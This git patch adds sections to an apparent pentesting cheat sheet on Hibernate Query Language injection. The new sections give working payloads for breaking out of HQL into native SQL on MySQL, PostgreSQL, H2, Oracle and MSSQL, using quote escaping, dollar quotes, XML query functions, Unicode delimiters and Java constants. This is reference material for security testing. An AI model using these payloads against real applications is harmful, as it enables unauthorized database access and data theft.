From 1f73834d5e561581839d0f3279b8e1b81d6e60a7 Mon Sep 17 00:00:00 2001
From: Alexandre ZANNI <16578570+noraj@users.noreply.github.com>
Date: Thu, 14 Apr 2022 18:07:35 +0200
Subject: [PATCH] HQLi in Java apps - HITBSecConf2016

---
 SQL Injection/HQL Injection.md | 104 +++++++++++++++++++++++++++++++++
 1 file changed, 104 insertions(+)

diff --git a/SQL Injection/HQL Injection.md b/SQL Injection/HQL Injection.md
index 6e8168b..97d3672 100644
--- a/SQL Injection/HQL Injection.md	
+++ b/SQL Injection/HQL Injection.md	
@@ -1,11 +1,18 @@
 # Hibernate Query Language Injection 
 
 > Hibernate ORM (Hibernate in short) is an object-relational mapping tool for the Java programming language. It provides a framework for mapping an object-oriented domain model to a relational database. - Wikipedia
+
 ## Summary
 
 * [HQL Comments](#hql-comments)
 * [HQL List Columns](#hql-list-columns)
 * [HQL Error Based](#hql-error-based)
+* [Single Quote Escaping](#single-quote-escaping)
+* [$-quoted strings](#--quoted-strings)
+* [DBMS Magic functions](#dbms-magic-functions)
+* [Unicode](#unicode)
+* [Java constants](#java-constants)
+* [Methods by DBMS](#methods-by-dbms)
 * [References](#references)
 
 ## HQL Comments
@@ -49,10 +56,107 @@ select blogposts0_.id as id18_, blogposts0_.author as author18_, blogposts0_.pro
 
 :warning: **HQL does not support UNION queries**
 
+## Single Quote Escaping
+
+Method works for MySQL DBMS which escapes SINGLE QUOTES in strings with SLASH `\'`.
+
+In HQL SINGLE QUOTES is escaped in strings by doubling `''`.
+
+```
+'abc\''or 1=(select 1)--'
+```
+
+In HQL it is a string, in MySQL it is a string and additional SQL expression.
+
+## $-quoted strings
+
+Method works for DBMS which allow DOLLAR-QUOTED strings in SQL expressions: PostgreSQL, H2.
+
+Hibernate ORM allows identifiers starting with `$$`.
+
+```
+$$='$$=concat(chr(61),chr(39)) and 1=1--'
+```
+
+## DBMS Magic functions
+
+Method works for DBMS which have MAGIC FUNCTIONS which evaluate SQL expression in string parameter: PostgreSQL, Oracle.
+
+Hibernate allows to specify any function name in HQL expression.
+
+PostgreSQL has built-in function `query_to_xml('Arbitrary SQL')`.
+
+```
+array_upper(xpath('row',query_to_xml('select 1 where 1337>1', true, false,'')),1)
+```
+
+Oracle has built-in function `DBMS_XMLGEN.getxml('SQL')`
+
+```
+NVL(TO_CHAR(DBMS_XMLGEN.getxml('select 1 where 1337>1')),'1')!='1'
+```
+
+## Unicode
+
+Method works for DBMS which allow UNICODE delimiters (Ex. U+00A0) between SQL tokens: Microsoft SQL Server, H2.
+
+In Microsoft SQL SERVER `SELECT LEN([U+00A0](select[U+00A0](1))` works the same as `SELECT LEN((SELECT(1)))`;
+
+HQL allows UNICODE symbols in identifiers (function or parameter names).
+
+```
+SELECT p FROM hqli.persistent.Post p where p.name='dummy' or 1<LEN( (select top 1 name from users)) or '1'='11'
+```
+
+## Java constants
+
+Method works for most DBMS (does not work for MySQL).
+
+Hibernate resolves Java public static fields (Java constants) in HQL queries:
+
+- Class with Java constant must be in classpath
+- Ex. `java.lang.Character.SIZE` is resolved to 16
+- String or char constants are additionally surrounded by single quotes
+
+To use JAVA CONSTANTS method we need special char or  string fields declared in classes or interfaces on classpath.
+
+```java
+public class Constants {
+    public static final String S_QUOTE = "'";
+    public static final String HQL_PART = "select * from Post where name = '";
+    public static final char C_QUOTE_1 = '\'';
+    public static final char C_QUOTE_2 = '\047';
+    public static final char C_QUOTE_3 = 39;
+    public static final char C_QUOTE_4 = 0x27;
+    public static final char C_QUOTE_5 = 047;
+}
+```
+
+Some usable constants in well-known Java libraries:
+
+```
+org.apache.batik.util.XMLConstants.XML_CHAR_APOS         [ Apache Batik ]
+com.ibm.icu.impl.PatternTokenizer.SINGLE_QUOTE           [ ICU4J ]
+jodd.util.StringPool.SINGLE_QUOTE                        [ Jodd ]
+ch.qos.logback.core.CoreConstants.SINGLE_QUOTE_CHAR      [ Logback ]
+cz.vutbr.web.csskit.OutputUtil.STRING_OPENING            [ jStyleParser ]
+com.sun.java.help.impl.DocPConst.QUOTE                   [ JavaHelp ]
+org.eclipse.help.internal.webapp.utils.JSonHelper.QUOTE  [ EclipseHelp ]
+```
+
+```
+dummy' and hqli.persistent.Constants.C_QUOTE_1*X('<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --')=1 and '1'='1
+```
+
+## Methods by DBMS
+
+![image](https://user-images.githubusercontent.com/16578570/163428666-a22105a8-287c-4997-8aef-8f372a1b86e9.png)
+
 ## References
 
 * [HQL for pentesters - February 12, 2014 - Philippe Arteau](https://blog.h3xstream.com/2014/02/hql-for-pentesters.html)
 * [How to put a comment into HQL (Hibernate Query Language)? - Thomas Bratt](https://stackoverflow.com/questions/3196975/how-to-put-a-comment-into-hql-hibernate-query-language)
 * [HQL : Hyperinsane Query Language - 04/06/2015 - Renaud Dubourguais](https://www.synacktiv.com/ressources/hql2sql_sstic_2015_en.pdf)
 * [ORM2Pwn: Exploiting injections in Hibernate ORM - Nov 26, 2015 - Mikhail Egorov](https://www.slideshare.net/0ang3el/orm2pwn-exploiting-injections-in-hibernate-orm)
+* [New Methods for Exploiting ORM Injections in Java Applications - HITBSecConf2016 - Mikhail Egorov - Sergey Soldatov](https://conference.hitb.org/hitbsecconf2016ams/materials/D2T2%20-%20Mikhail%20Egorov%20and%20Sergey%20Soldatov%20-%20New%20Methods%20for%20Exploiting%20ORM%20Injections%20in%20Java%20Applications.pdf)
 * [HQL Injection Exploitation in MySQL - July 18, 2019 - Olga Barinova](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/hql-injection-exploitation-in-mysql/)